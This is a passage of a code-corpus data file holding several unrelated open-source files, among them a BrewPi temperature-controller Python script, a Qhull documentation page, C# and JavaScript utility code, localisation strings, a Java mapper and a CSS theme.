open(wwwSettingsFileName, 'r+b')\n try:\n wwwSettings = json.load(wwwSettingsFile) # read existing settings\n except json.JSONDecodeError:\n logMessage(\"Error in decoding userSettings.json, creating new empty json file\")\n wwwSettings = {} # start with a fresh file when the json is corrupt.\n else:\n wwwSettingsFile = open(wwwSettingsFileName, 'w+b') # create new file\n wwwSettings = {}\n\n wwwSettings[settingName] = str(value)\n wwwSettingsFile.seek(0)\n wwwSettingsFile.write(json.dumps(wwwSettings))\n wwwSettingsFile.truncate()\n wwwSettingsFile.close()\n\ndef setFiles():\n global config\n global localJsonFileName\n global localCsvFileName\n global wwwJsonFileName\n global wwwCsvFileName\n global lastDay\n global day\n\n # create directory for the data if it does not exist\n beerFileName = config['beerName']\n dataPath = util.addSlash(util.addSlash(util.scriptPath()) + 'data/' + beerFileName)\n wwwDataPath = util.addSlash(util.addSlash(config['wwwPath']) + 'data/' + beerFileName)\n\n if not os.path.exists(dataPath):\n os.makedirs(dataPath)\n os.chmod(dataPath, 0775) # give group all permissions\n if not os.path.exists(wwwDataPath):\n os.makedirs(wwwDataPath)\n os.chmod(wwwDataPath, 0775) # give group all permissions\n\n # Keep track of day and make new data file for each day\n day = time.strftime(\"%Y-%m-%d\")\n lastDay = day\n # define a JSON file to store the data\n jsonFileName = beerFileName + '-' + day\n\n #if a file for today already existed, add suffix\n if os.path.isfile(dataPath + jsonFileName + '.json'):\n i = 1\n while os.path.isfile(dataPath + jsonFileName + '-' + str(i) + '.json'):\n i += 1\n jsonFileName = jsonFileName + '-' + str(i)\n\n localJsonFileName = dataPath + jsonFileName + '.json'\n brewpiJson.newEmptyFile(localJsonFileName)\n\n # Define a location on the web server to copy the file to after it is written\n wwwJsonFileName = wwwDataPath + jsonFileName + '.json'\n\n # Define a CSV file to store the data as CSV (might be useful one day)\n localCsvFileName = (dataPath + beerFileName + '.csv')\n wwwCsvFileName = (wwwDataPath + beerFileName + '.csv')\n\n # create new empty json file\n brewpiJson.newEmptyFile(localJsonFileName)\n\ndef startBeer(beerName):\n if config['dataLogging'] == 'active':\n setFiles()\n\n changeWwwSetting('beerName', beerName)\n\n\ndef startNewBrew(newName):\n global config\n if len(newName) > 1: # shorter names are probably invalid\n config = util.configSet(configFile, 'beerName', newName)\n config = util.configSet(configFile, 'dataLogging', 'active')\n startBeer(newName)\n logMessage(\"Notification: Restarted logging for beer '%s'.\" % newName)\n return {'status': 0, 'statusMessage': \"Successfully switched to new brew '%s'. \" % urllib.unquote(newName) +\n \"Please reload the page.\"}\n else:\n return {'status': 1, 'statusMessage': \"Invalid new brew name '%s', \"\n \"please enter a name with at least 2 characters\" % urllib.unquote(newName)}\n\n\ndef stopLogging():\n global config\n logMessage(\"Stopped data logging, as requested in web interface. \" +\n \"BrewPi will continue to control temperatures, but will not log any data.\")\n config = util.configSet(configFile, 'beerName', None)\n config = util.configSet(configFile, 'dataLogging', 'stopped')\n changeWwwSetting('beerName', None)\n return {'status': 0, 'statusMessage': \"Successfully stopped logging\"}\n\n\ndef pauseLogging():\n global config\n logMessage(\"Paused logging data, as requested in web interface. \" +\n \"BrewPi will continue to control temperatures, but will not log any data until resumed.\")\n if config['dataLogging'] == 'active':\n config = util.configSet(configFile, 'dataLogging', 'paused')\n return {'status': 0, 'statusMessage': \"Successfully paused logging.\"}\n else:\n return {'status': 1, 'statusMessage': \"Logging already paused or stopped.\"}\n\n\ndef resumeLogging():\n global config\n logMessage(\"Continued logging data, as requested in web interface.\")\n if config['dataLogging'] == 'paused':\n config = util.configSet(configFile, 'dataLogging', 'active')\n return {'status': 0, 'statusMessage': \"Successfully continued logging.\"}\n else:\n return {'status': 1, 'statusMessage': \"Logging was not paused.\"}\n\nlogMessage(\"Notification: Script started for beer '\" + urllib.unquote(config['beerName']) + \"'\")\n\nlogMessage(\"Connecting to controller...\") \n\n# set up background serial processing, which will continuously read data from serial and put whole lines in a queue\nbg_ser = BackGroundSerial(config.get('port', 'auto'))\n\nhwVersion = brewpiVersion.getVersionFromSerial(bg_ser)\nif hwVersion is None:\n logMessage(\"Warning: Cannot receive version number from controller. \" +\n \"Check your port setting in the Maintenance Panel or in settings/config.cfg.\")\nelse:\n logMessage(\"Found \" + hwVersion.toExtendedString())\n if LooseVersion( hwVersion.toString() ) < LooseVersion(compatibleHwVersion):\n logMessage(\"Warning: minimum BrewPi version compatible with this script is \" +\n compatibleHwVersion +\n \" but version number received is \" + hwVersion.toString())\n if int(hwVersion.log) != int(expandLogMessage.getVersion()):\n logMessage(\"Warning: version number of local copy of logMessages.h \" +\n \"does not match log version number received from controller.\" +\n \"controller version = \" + str(hwVersion.log) +\n \", local copy version = \" + str(expandLogMessage.getVersion()))\n if hwVersion.family == 'Arduino':\n exit(\"\\n ERROR: the newest version of BrewPi is not compatible with Arduino. \\n\" +\n \"You can use our legacy branch with your Arduino, in which we only include the backwards compatible changes. \\n\" +\n \"To change to the legacy branch, run: sudo ~/brewpi-tools/updater.py --ask , and choose the legacy branch.\")\n \n# create a listening socket to communicate with PHP\nis_windows = sys.platform.startswith('win')\nuseInetSocket = bool(config.get('useInetSocket', is_windows))\nif useInetSocket:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n socketPort = config.get('socketPort', 6332)\n s.bind((config.get('socketHost', 'localhost'), int(socketPort)))\n logMessage('Bound to TCP socket on port %d ' % int(socketPort))\nelse:\n socketFile = util.addSlash(util.scriptPath()) + 'BEERSOCKET'\n if os.path.exists(socketFile):\n # if socket already exists, remove it\n os.remove(socketFile)\n s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n s.bind(socketFile) # Bind BEERSOCKET\n # set all permissions for socket\n os.chmod(socketFile, 0777)\n\nserialCheckInterval = 0.5\ns.setblocking(1) # set socket functions to be blocking\ns.listen(10) # Create a backlog queue for up to 10 connections\n# blocking socket functions wait 'serialCheckInterval' seconds\ns.settimeout(serialCheckInterval)\n\n# set all times to zero to force updating them\nprevDataTime = 0.0\nprevLogTime = 0.0\nprevTimeOut = 0.0\nprevSettingsUpdate = 0.0\n# except timeout for serial not responding\nprevSerialReceive = time.time()\n\nrun = 1\n\nstartBeer(config['beerName'])\noutputTemperature = True\n\nprevTempJson = {\n \"BeerTemp\": 0,\n \"FridgeTemp\": 0,\n \"BeerAnn\": None,\n \"FridgeAnn\": None,\n \"Log1Temp\": None,\n \"Log2Temp\": None,\n \"Log3Temp\": None,\n \"State\": None,\n \"BeerSet\": 0,\n \"FridgeSet\": 0}\n\ndef renameTempKey(key):\n rename = {\n \"bt\": \"BeerTemp\",\n \"bs\": \"BeerSet\",\n \"ba\": \"BeerAnn\",\n \"ft\": \"FridgeTemp\",\n \"fs\": \"FridgeSet\",\n \"fa\": \"FridgeAnn\",\n \"lt1\": \"Log1Temp\",\n \"lt2\": \"Log2Temp\",\n \"lt3\": \"Log3Temp\",\n \"s\": \"State\",\n \"t\": \"Time\"}\n return rename.get(key, key)\n\nwhile run:\n if config['dataLogging'] == 'active':\n # Check whether it is a new day\n lastDay = day\n day = time.strftime(\"%Y-%m-%d\")\n if lastDay != day:\n logMessage(\"Notification: New day, creating new JSON file.\")\n setFiles()\n\n # Wait for incoming socket connections.\n # When nothing is received, socket.timeout will be raised after\n # serialCheckInterval seconds. Serial receive will be done then.\n # When messages are expected on serial, the timeout is raised 'manually'\n try:\n conn, addr = s.accept()\n conn.setblocking(1)\n # blocking receive, times out in serialCheckInterval\n message = conn.recv(4096)\n if \"=\" in message:\n messageType, value = message.split(\"=\", 1)\n else:\n messageType = message\n value = \"\"\n if messageType == \"ack\": # acknowledge request\n conn.send('ack')\n elif messageType == \"getMode\": # echo cs['mode'] setting\n conn.send(cs['mode'])\n elif messageType == \"getFridge\": # echo fridge temperature setting\n conn.send(json.dumps(cs['fridgeSet']))\n elif messageType == \"getBeer\": # echo fridge temperature setting\n conn.send(json.dumps(cs['beerSet']))\n elif messageType == \"getTemperatures\":\n conn.send(json.dumps(temperatures))\n elif messageType == \"getControlConstants\":\n conn.send(json.dumps(cc))\n elif messageType == \"getControlSettings\":\n if cs['mode'] == \"p\":\n profileFile = util.addSlash(util.scriptPath()) + 'settings/tempProfile.csv'\n with file(profileFile, 'r') as prof:\n cs['profile'] = prof.readline().split(\",\")[-1].rstrip(\"\\n\")\n cs['dataLogging'] = config['dataLogging']\n conn.send(json.dumps(cs))\n elif messageType == \"getControlVariables\":\n conn.send(cv)\n elif messageType == \"refreshControlConstants\":\n bg_ser.writeln(\"c\")\n raise socket.timeout\n elif messageType == \"refreshControlSettings\":\n bg_ser.writeln(\"s\")\n raise socket.timeout\n elif messageType == \"refreshControlVariables\":\n bg_ser.writeln(\"v\")\n raise socket.timeout\n elif messageType == \"loadDefaultControlSettings\":\n bg_ser.writeln(\"S\")\n raise socket.timeout\n elif messageType == \"loadDefaultControlConstants\":\n bg_ser.writeln(\"C\")\n raise socket.timeout\n elif messageType == \"setBeer\": # new constant beer temperature received\n try:\n newTemp = float(value)\n except ValueError:\n logMessage(\"Cannot convert temperature '\" + value + \"' to float\")\n continue\n\n cs['mode'] = 'b'\n # round to 2 dec, python will otherwise produce 6.999999999\n cs['beerSet'] = round(newTemp, 2)\n bg_ser.writeln(\"j{mode:b, beerSet:\" + json.dumps(cs['beerSet']) + \"}\")\n logMessage(\"Notification: Beer temperature set to \" +\n str(cs['beerSet']) +\n \" degrees in web interface\")\n raise socket.timeout # go to serial communication to update controller\n\n elif messageType == \"setFridge\": # new constant fridge temperature received\n try:\n newTemp = float(value)\n except ValueError:\n logMessage(\"Cannot convert temperature '\" + value + \"' to float\")\n continue\n\n cs['mode'] = 'f'\n cs['fridgeSet'] = round(newTemp, 2)\n bg_ser.writeln(\"j{mode:f, fridgeSet:\" + json.dumps(cs['fridgeSet']) + \"}\")\n logMessage(\"Notification: Fridge temperature set to \" +\n str(cs['fridgeSet']) +\n \" degrees in web interface\")\n raise socket.timeout # go to serial communication to update controller\n\n elif messageType == \"setOff\": # cs['mode'] set to OFF\n cs['mode'] = 'o'\n bg_ser.writeln(\"j{mode:o}\")\n logMessage(\"Notification: Temperature control disabled\")\n raise socket.timeout\n elif messageType == \"setParameters\":\n # receive JSON key:value pairs to set parameters on the controller\n try:\n decoded = json.loads(value)\n bg_ser.writeln(\"j\" + json.dumps(decoded))\n if 'tempFormat' in decoded:\n changeWwwSetting('tempFormat', decoded['tempFormat']) # change in web interface settings too.\n except json.JSONDecodeError:\n logMessage(\"Error: invalid JSON parameter string received: \" + value)\n raise socket.timeout\n elif messageType == \"stopScript\": # exit instruction received. Stop script.\n # voluntary shutdown.\n # write a file to prevent the cron job from restarting the script\n logMessage(\"stopScript message received on socket. \" +\n \"Stopping script and writing dontrunfile to prevent automatic restart\")\n run = 0\n dontrunfile = open(dontRunFilePath, \"w\")\n dontrunfile.write(\"1\")\n dontrunfile.close()\n continue\n elif messageType == \"quit\": # quit instruction received. Probably sent by another brewpi script instance\n logMessage(\"quit message received on socket. Stopping script.\")\n run = 0\n # Leave dontrunfile alone.\n # This instruction is meant to restart the script or replace it with another instance.\n continue\n elif messageType == \"eraseLogs\":\n # erase the log files for stderr and stdout\n open(util.scriptPath() + '/logs/stderr.txt', 'wb').close()\n open(util.scriptPath() + '/logs/stdout.txt', 'wb').close()\n logMessage(\"Fresh start! Log files erased.\")\n continue\n elif messageType == \"interval\": # new interval received\n newInterval = int(value)\n if 5 < newInterval < 5000:\n try:\n config = util.configSet(configFile, 'interval', float(newInterval))\n except ValueError:\n logMessage(\"Cannot convert interval '\" + value + \"' to float\")\n continue\n logMessage(\"Notification: Interval changed to \" +\n str(newInterval) + \" seconds\")\n elif messageType == \"portAddress\": # new port setting received\n config = util.configSet(configFile, 'port', str(value))\n logMessage(\"Port setting changed to: \" + str(value))\n bg_ser.stop()\n bg_ser.port = str(value)\n bg_ser.start()\n elif messageType == \"getSerialDevicesAvailable\":\n conn.send(json.dumps(['auto'] + find_serial_numbers())) \n elif messageType == \"startNewBrew\": # new beer name\n newName = value\n result = startNewBrew(newName)\n conn.send(json.dumps(result))\n elif messageType == \"pauseLogging\":\n result = pauseLogging()\n conn.send(json.dumps(result))\n elif messageType == \"stopLogging\":\n result = stopLogging()\n conn.send(json.dumps(result))\n elif messageType == \"resumeLogging\":\n result = resumeLogging()\n conn.send(json.dumps(result))\n elif messageType == \"dateTimeFormatDisplay\":\n config = util.configSet(configFile, 'dateTimeFormatDisplay', value)\n changeWwwSetting('dateTimeFormatDisplay', value)\n logMessage(\"Changing date format config setting: \" + value)\n elif messageType == \"setActiveProfile\":\n # copy the profile CSV file to the working directory\n logMessage(\"Setting profile '%s' as active profile\" % value)\n config = util.configSet(configFile, 'profileName', value)\n changeWwwSetting('profileName', value)\n profileSrcFile = util.addSlash(config['wwwPath']) + \"data/profiles/\" + value + \".csv\"\n profileDestFile = util.addSlash(util.scriptPath()) + 'settings/tempProfile.csv'\n profileDestFileOld = profileDestFile + '.old'\n try:\n if os.path.isfile(profileDestFile):\n if os.path.isfile(profileDestFileOld):\n os.remove(profileDestFileOld)\n os.rename(profileDestFile, profileDestFileOld)\n shutil.copy(profileSrcFile, profileDestFile)\n # for now, store profile name in header row (in an additional column)\n with file(profileDestFile, 'r') as original:\n line1 = original.readline().rstrip(\"\\n\")\n rest = original.read()\n with file(profileDestFile, 'w') as modified:\n modified.write(line1 + \",\" + value + \"\\n\" + rest)\n except IOError as e: # catch all exceptions and report back an error\n error = \"I/O Error(%d) updating profile: %s \" % (e.errno, e.strerror)\n conn.send(error)\n printStdErr(error)\n else:\n conn.send(\"Profile successfully updated\")\n if cs['mode'] is not 'p':\n cs['mode'] = 'p'\n bg_ser.writeln(\"j{mode:p}\")\n logMessage(\"Notification: Profile mode enabled\")\n raise socket.timeout # go to serial communication to update controller\n elif messageType == \"programController\" or messageType == \"programArduino\":\n if bg_ser is not None:\n bg_ser.stop()\n \n try:\n programParameters = json.loads(value)\n hexFile = programParameters['fileName']\n boardType = programParameters['boardType']\n restoreSettings = programParameters['restoreSettings']\n restoreDevices = programParameters['restoreDevices']\n programmer.programController(config, boardType, hexFile, None, None, False,\n {'settings': restoreSettings, 'devices': restoreDevices})\n logMessage(\"New program uploaded to controller, script will restart\")\n except json.JSONDecodeError:\n logMessage(\"Error: cannot decode programming parameters: \" + value)\n logMessage(\"Restarting script without programming.\")\n\n # restart the script when done. This replaces this process with the new one\n time.sleep(5) # give the controller time to reboot\n python = sys.executable\n os.execl(python, python, *sys.argv)\n elif messageType == \"refreshDeviceList\":\n deviceList['listState'] = \"\" # invalidate local copy\n if value.find(\"readValues\") != -1:\n bg_ser.writeln(\"d{r:1}\") # request installed devices\n bg_ser.writeln(\"h{u:-1,v:1}\") # request available, but not installed devices\n else:\n bg_ser.writeln(\"d{}\") # request installed devices\n bg_ser.writeln(\"h{u:-1}\") # request available, but not installed devices\n elif messageType == \"getDeviceList\":\n if hwVersion is None:\n hwVersion = brewpiVersion.getVersionFromSerial(bg_ser)\n if hwVersion is None:\n conn.send(\"Cannot communicate with BrewPi Spark\")\n else:\n if deviceList['listState'] in [\"dh\", \"hd\"]:\n response = dict(board=hwVersion.board,\n shield=hwVersion.shield,\n deviceList=deviceList,\n pinList=pinList.getPinList(hwVersion.board, hwVersion.shield))\n conn.send(json.dumps(response))\n else:\n conn.send(\"device-list-not-up-to-date\")\n elif messageType == \"applyDevice\":\n try:\n configStringJson = json.loads(value) # load as JSON to check syntax\n except json.JSONDecodeError:\n logMessage(\"Error: invalid JSON parameter string received: \" + value)\n continue\n bg_ser.writeln(\"U\" + json.dumps(configStringJson))\n deviceList['listState'] = \"\" # invalidate local copy\n elif messageType == \"writeDevice\":\n try:\n configStringJson = json.loads(value) # load as JSON to check syntax\n except json.JSONDecodeError:\n logMessage(\"Error: invalid JSON parameter string received: \" + value)\n continue\n bg_ser.writeln(\"d\" + json.dumps(configStringJson))\n elif messageType == \"getVersion\":\n if hwVersion is None:\n hwVersion = brewpiVersion.getVersionFromSerial(bg_ser)\n if hwVersion is None:\n conn.send(\"Cannot communicate with BrewPi Spark\")\n else:\n if hwVersion:\n response = hwVersion.__dict__\n # replace LooseVersion with string, because it is not JSON serializable\n response['version'] = hwVersion.toString()\n else:\n response = {}\n response_str = json.dumps(response)\n conn.send(response_str)\n elif messageType == \"resetController\":\n logMessage(\"Resetting controller to factory defaults\")\n bg_ser.writeln(\"E\")\n else:\n logMessage(\"Error: Received invalid message on socket: \" + message)\n\n if (time.time() - prevTimeOut) < serialCheckInterval:\n continue\n else:\n # raise exception to check serial for data immediately\n raise socket.timeout\n\n except socket.timeout:\n # Do serial communication and update settings every SerialCheckInterval\n prevTimeOut = time.time()\n\n while True:\n if not bg_ser.connected():\n temperatures['Error'] = \"Connection to BrewPi Spark interrupted.\"\n break\n else:\n temperatures.pop('Error', None)\n\n line = bg_ser.read_line()\n message = bg_ser.read_message()\n if line is None and message is None:\n break\n if line is not None:\n prevSerialReceive = time.time()\n try:\n if line[0] == 'T':\n # process temperature line\n newData = json.loads(line[2:])\n temperatures = newData # temperatures is sent to the web UI on request\n\n if (time.time() - prevLogTime) > float(config['interval']):\n # store time of last new data for interval check\n prevLogTime = time.time()\n\n # print it to stdout\n if outputTemperature:\n print(time.strftime(\"%b %d %Y %H:%M:%S \") + line[2:])\n\n if config['dataLogging'] == 'paused' or config['dataLogging'] == 'stopped':\n continue # skip if logging is paused or stopped\n\n # copy/rename keys\n for key in newData:\n prevTempJson[renameTempKey(key)] = newData[key]\n\n newRow = prevTempJson\n # add to JSON file\n brewpiJson.addRow(localJsonFileName, newRow)\n # copy to www dir.\n # Do not write directly to www dir to prevent blocking www file.\n shutil.copyfile(localJsonFileName, wwwJsonFileName)\n #write csv file too\n csvFile = open(localCsvFileName, \"a\")\n try:\n lineToWrite = (time.strftime(\"%b %d %Y %H:%M:%S;\") +\n json.dumps(newRow['BeerTemp']) + ';' +\n json.dumps(newRow['BeerSet']) + ';' +\n json.dumps(newRow['BeerAnn']) + ';' +\n json.dumps(newRow['FridgeTemp']) + ';' +\n json.dumps(newRow['FridgeSet']) + ';' +\n json.dumps(newRow['FridgeAnn']) + ';' +\n json.dumps(newRow['State']) + ';' +\n json.dumps(newRow['Log1Temp']) + ';' +\n json.dumps(newRow['Log2Temp']) + ';' +\n json.dumps(newRow['Log3Temp']) + '\\n')\n csvFile.write(lineToWrite)\n except KeyError, e:\n logMessage(\"KeyError in line from controller: %s\" % str(e))\n\n csvFile.close()\n shutil.copyfile(localCsvFileName, wwwCsvFileName)\n elif line[0] == 'D':\n # debug message received, should already been filtered out, but print anyway here.\n logMessage(\"Finding a log message here should not be possible, report to the devs!\")\n logMessage(\"Line received was: {0}\".format(line))\n elif line[0] == 'C':\n # Control constants received\n cc = json.loads(line[2:])\n elif line[0] == 'S':\n # Control settings received\n prevSettingsUpdate = time.time()\n cs = json.loads(line[2:])\n # do not print this to the log file. This is requested continuously.\n elif line[0] == 'V':\n # Control settings received\n cv = line[2:] # keep as string, do not decode\n elif line[0] == 'N':\n pass # version number received. Do nothing, just ignore\n elif line[0] == 'h':\n deviceList['available'] = json.loads(line[2:])\n oldListState = deviceList['listState']\n deviceList['listState'] = oldListState.strip('h') + \"h\"\n logMessage(\"Available devices received: \"+ json.dumps(deviceList['available']))\n elif line[0] == 'd':\n deviceList['installed'] = json.loads(line[2:])\n oldListState = deviceList['listState']\n deviceList['listState'] = oldListState.strip('d') + \"d\"\n logMessage(\"Installed devices received: \" + json.dumps(deviceList['installed']).encode('utf-8'))\n elif line[0] == 'U':\n logMessage(\"Device updated to: \" + line[2:])\n else:\n logMessage(\"Cannot process line from controller: \" + line)\n # end or processing a line\n except json.decoder.JSONDecodeError, e:\n logMessage(\"JSON decode error: %s\" % str(e))\n logMessage(\"Line received was: \" + line)\n\n if message is not None:\n logMessage(\"Controller debug message: \" + message)\n\n if(time.time() - prevSettingsUpdate) > 60:\n # Request Settings from controller to stay up to date\n # Controller should send updates on changes, this is a periodical update to ensure it is up to date\n prevSettingsUpdate += 5 # give the controller some time to respond\n bg_ser.writeln('s')\n\n # update temperatures every 5 seconds\n if (time.time() - prevDataTime) >= 5:\n bg_ser.writeln(\"t\") # request new temperatures from controller\n prevDataTime = time.time()\n \n # Check for update from temperature profile\n if cs['mode'] == 'p':\n newTemp = temperatureProfile.getNewTemp(util.scriptPath())\n if newTemp != cs['beerSet']:\n cs['beerSet'] = newTemp\n # if temperature has to be updated send settings to controller\n bg_ser.writeln(\"j{beerSet:\" + json.dumps(cs['beerSet']) + \"}\")\n\n except socket.error as e:\n logMessage(\"Socket error(%d): %s\" % (e.errno, e.strerror))\n traceback.print_exc()\n\nif bg_ser:\n bg_ser.stop()\n\nif conn:\n conn.shutdown(socket.SHUT_RDWR) # close socket\n conn.close()\n\n"} -{"text": "\n\n\n\ngeom_r.c, geom2_r.c -- geometric and floating point routines\n\n\n\n\n

    Up: Home page for Qhull (local)
    \nUp: Qhull manual: contents
    \nUp: Programs\n• Options\n• Output\n• Formats\n• Geomview\n• Print\n• Qhull\n• Precision\n• Trace\n• Functions (local)
    \nUp: Qhull code
    \nTo: Geom • Global\n• Io • Mem\n• Merge • Poly\n• Qhull • Set\n• Stat • User\n

    \n\n
    \n\n\n

    geom_r.c, geom2_r.c, random_r.c -- geometric and floating point routines

    \n
    \n

    Geometrically, a vertex is a point with d coordinates\nand a facet is a halfspace. A halfspace is defined by an\noriented hyperplane through the facet's vertices. A hyperplane\nis defined by d normalized coefficients and an offset. A\npoint is above a facet if its distance to the facet is\npositive.

    \n\n

    Qhull uses floating point coordinates for input points,\nvertices, halfspace equations, centrums, and an interior point.

    \n\n

    Qhull may be configured for single precision or double\nprecision floating point arithmetic (see realT\n).

    \n\n

    Each floating point operation may incur round-off error (see\nMerge). The maximum error for distance\ncomputations is determined at initialization. The roundoff error\nin halfspace computation is accounted for by computing the\ndistance from vertices to the halfspace.

    \n
    \n

    Copyright © 1995-2020 C.B. Barber

    \n
    \n

    » Geom\n• Global •\nIo • Mem •\nMerge • Poly •\nQhull • Set •\nStat • User

    \n\n

    Index to geom_r.c,\ngeom2_r.c, geom_r.h,\nrandom_r.c, random_r.h\n

    \n\n\n\n

    »geometric data types\nand constants

    \n\n
      \n
    • coordT coordinates and\ncoefficients are stored as realT
      • \n
    • pointT a point is an array\nof DIM3 coordinates
      • \n
    \n\n

    »mathematical macros

    \n\n
      \n
    • fabs_ returns the absolute\nvalue of a
      • \n
    • fmax_ returns the maximum\nvalue of a and b
      • \n
    • fmin_ returns the minimum\nvalue of a and b
      • \n
    • maximize_ maximize a value\n
      • \n
    • minimize_ minimize a value\n
      • \n
    • det2_ compute a 2-d\ndeterminate
      • \n
    • det3_ compute a 3-d\ndeterminate
      • \n
    • dX, dY, dZ compute the difference\nbetween two coordinates
      • \n
    \n\n

    »mathematical functions

    \n\n\n\n

    »computational geometry functions

    \n\n\n\n

    »point array functions

    \n\n\n

    »geometric facet functions

    \n\n\n

    »geometric roundoff functions

    \n
      \n
    • qh_detjoggle determine\ndefault joggle for points and distance roundoff error
      • \n
    • qh_detmaxoutside\ndetermine qh.MAXoutside target for qh_RATIO... tests
      • \n
    • qh_detroundoff\ndetermine maximum roundoff error and other precision constants
      • \n
    • qh_distround compute\nmaximum roundoff error due to a distance computation to a\nnormalized hyperplane
      • \n
    • qh_divzero divide by a\nnumber that is nearly zero
      • \n
    • qh_maxouter return maximum outer\nplane
      • \n
    • qh_outerinner return actual\nouter and inner planes
      • \n
    \n\n

    \n
    \n

    Up:\nHome page for\nQhull (local)
    \nUp: Qhull manual: contents
    \nUp: Programs\n• Options\n• Output\n• Formats\n• Geomview\n• Print\n• Qhull\n• Precision\n• Trace\n• Functions (local)
    \nUp: Qhull code
    \nTo: Geom •\nGlobal • Io\n• Mem • Merge\n• Poly • Qhull\n• Set • Stat\n• User
    \n\n\n

    \n
    \n

    The\nGeometry Center Home Page

    \n

    Comments to: qhull@qhull.org\n
    \nCreated: May 2, 1997 --- Last modified: see top

    \n\n\n"} -{"text": "\ufeffusing System.Collections.Generic;\n\nnamespace Util {\n /// \n /// \u7cfb\u7edf\u6269\u5c55 - \u516c\u5171\n /// \n public static partial class Extensions {\n /// \n /// \u5b89\u5168\u83b7\u53d6\u503c\uff0c\u5f53\u503c\u4e3anull\u65f6\uff0c\u4e0d\u4f1a\u629b\u51fa\u5f02\u5e38\n /// \n /// \u53ef\u7a7a\u503c\n public static T SafeValue( this T? value ) where T : struct {\n return value ?? default( T );\n }\n\n /// \n /// \u83b7\u53d6\u679a\u4e3e\u503c\n /// \n /// \u679a\u4e3e\u5b9e\u4f8b\n public static int Value( this System.Enum instance ) {\n if( instance == null )\n return 0;\n return Util.Helpers.Enum.GetValue( instance.GetType(), instance );\n }\n\n /// \n /// \u83b7\u53d6\u679a\u4e3e\u503c\n /// \n /// \u8fd4\u56de\u503c\u7c7b\u578b\n /// \u679a\u4e3e\u5b9e\u4f8b\n public static TResult Value( this System.Enum instance ) {\n if( instance == null )\n return default( TResult );\n return Util.Helpers.Convert.To( Value( instance ) );\n }\n\n /// \n /// \u83b7\u53d6\u679a\u4e3e\u63cf\u8ff0,\u4f7f\u7528System.ComponentModel.Description\u7279\u6027\u8bbe\u7f6e\u63cf\u8ff0\n /// \n /// \u679a\u4e3e\u5b9e\u4f8b\n public static string Description( this System.Enum instance ) {\n if ( instance == null )\n return string.Empty;\n return Util.Helpers.Enum.GetDescription( instance.GetType(), instance );\n }\n\n /// \n /// \u8f6c\u6362\u4e3a\u7528\u5206\u9694\u7b26\u8fde\u63a5\u7684\u5b57\u7b26\u4e32\n /// \n /// \u96c6\u5408\u5143\u7d20\u7c7b\u578b\n /// \u96c6\u5408\n /// \u5f15\u53f7\uff0c\u9ed8\u8ba4\u4e0d\u5e26\u5f15\u53f7\uff0c\u8303\u4f8b\uff1a\u5355\u5f15\u53f7 \"'\"\n /// \u5206\u9694\u7b26\uff0c\u9ed8\u8ba4\u4f7f\u7528\u9017\u53f7\u5206\u9694\n public static string Join( this IEnumerable list, string quotes = \"\", string separator = \",\" ) {\n return Util.Helpers.String.Join( list, quotes, separator );\n }\n }\n}\n"} -{"text": "'use strict';\n\nvar GetIntrinsic = require('../GetIntrinsic');\n\nvar $TypeError = GetIntrinsic('%TypeError%');\n\nvar GetV = require('./GetV');\nvar IsCallable = require('./IsCallable');\nvar IsPropertyKey = require('./IsPropertyKey');\n\n/**\n * 7.3.9 - https://ecma-international.org/ecma-262/6.0/#sec-getmethod\n * 1. Assert: IsPropertyKey(P) is true.\n * 2. Let func be GetV(O, P).\n * 3. ReturnIfAbrupt(func).\n * 4. If func is either undefined or null, return undefined.\n * 5. If IsCallable(func) is false, throw a TypeError exception.\n * 6. Return func.\n */\n\nmodule.exports = function GetMethod(O, P) {\n\t// 7.3.9.1\n\tif (!IsPropertyKey(P)) {\n\t\tthrow new $TypeError('Assertion failed: IsPropertyKey(P) is not true');\n\t}\n\n\t// 7.3.9.2\n\tvar func = GetV(O, P);\n\n\t// 7.3.9.4\n\tif (func == null) {\n\t\treturn void 0;\n\t}\n\n\t// 7.3.9.5\n\tif (!IsCallable(func)) {\n\t\tthrow new $TypeError(P + 'is not a function');\n\t}\n\n\t// 7.3.9.6\n\treturn func;\n};\n"} -{"text": "/* \n Localizable.strings\n Aria2D\n\n Created by xjbeta on 2018/8/19.\n Copyright \u00a9 2018 xjbeta. All rights reserved.\n*/\n\n\"infoViewController.segmentedControl.0\" = \"Status\";\n\"infoViewController.segmentedControl.1\" = \"Options\";\n\"infoViewController.segmentedControl.2\" = \"Files\";\n\"infoViewController.segmentedControl.3\" = \"Peer\";\n\"infoViewController.segmentedControl.4\" = \"Announces\";\n\n\"mainMenu.activateAppItem.activate\" = \"Activate Aria2D\";\n\"mainMenu.activateAppItem.activated\" = \"Activated\";\n\"mainMenu.pauseOrUnpausItem.pause\" = \"pause\";\n\"mainMenu.pauseOrUnpausItem.unpause\" = \"unpause\";\n\n\n\"licenseInfo.messageText\" = \"Your application is already activated.\";\n\"licenseInfo.invalidateButton\" = \"Invalidate License\";\n\"licenseInfo.okButton\" = \"OK\";\n\"licenseInfo.cancelButton\" = \"Cancel\";\n\"licenseInfo.informativeText\" = \"It will deactivates application and invalidates license info.\";\n"} -{"text": "package com.phonemarket.mapper;\n\nimport java.util.List;\n\nimport org.springframework.stereotype.Repository;\n\nimport com.phonemarket.entity.Evaluate;\n\n@Repository\npublic interface EvaluateMapper {\n\tEvaluate findEvaById(Integer id);\n\tInteger addEvaluate(Evaluate eva);\n\tInteger deleteEvaluate(Integer id);\n\tInteger updateEvaluate(Evaluate eva);\n\tList findEvaByGoodsId(Integer id);\n\tList findEvaByUserId(Integer id);\n\tList findAllEvalute();\n\tList findAllEvaluteLikeContent(String keyword);\n}\n"} -{"text": "body.login-pf {\n background-size: cover;\n background-color: #777777;\n}\n\n#badge {\n width: 225px;\n height: 80px;\n background-image: url(\"logo.png\");\n background-size: contain;\n background-repeat: no-repeat;\n}\n\n#brand {\n font-size: 18pt;\n text-transform: uppercase;\n}\n\n#brand:before {\n content: \"${NAME}\";\n}\n\n#index-brand:before {\n content: \"${NAME}\";\n}\n"} -{"text": "var ctx = require('./_ctx')\n , invoke = require('./_invoke')\n , html = require('./_html')\n , cel = require('./_dom-create')\n , global = require('./_global')\n , process = global.process\n , setTask = global.setImmediate\n , clearTask = global.clearImmediate\n , MessageChannel = global.MessageChannel\n , counter = 0\n , queue = {}\n , ONREADYSTATECHANGE = 'onreadystatechange'\n , defer, channel, port;\nvar run = function(){\n var id = +this;\n 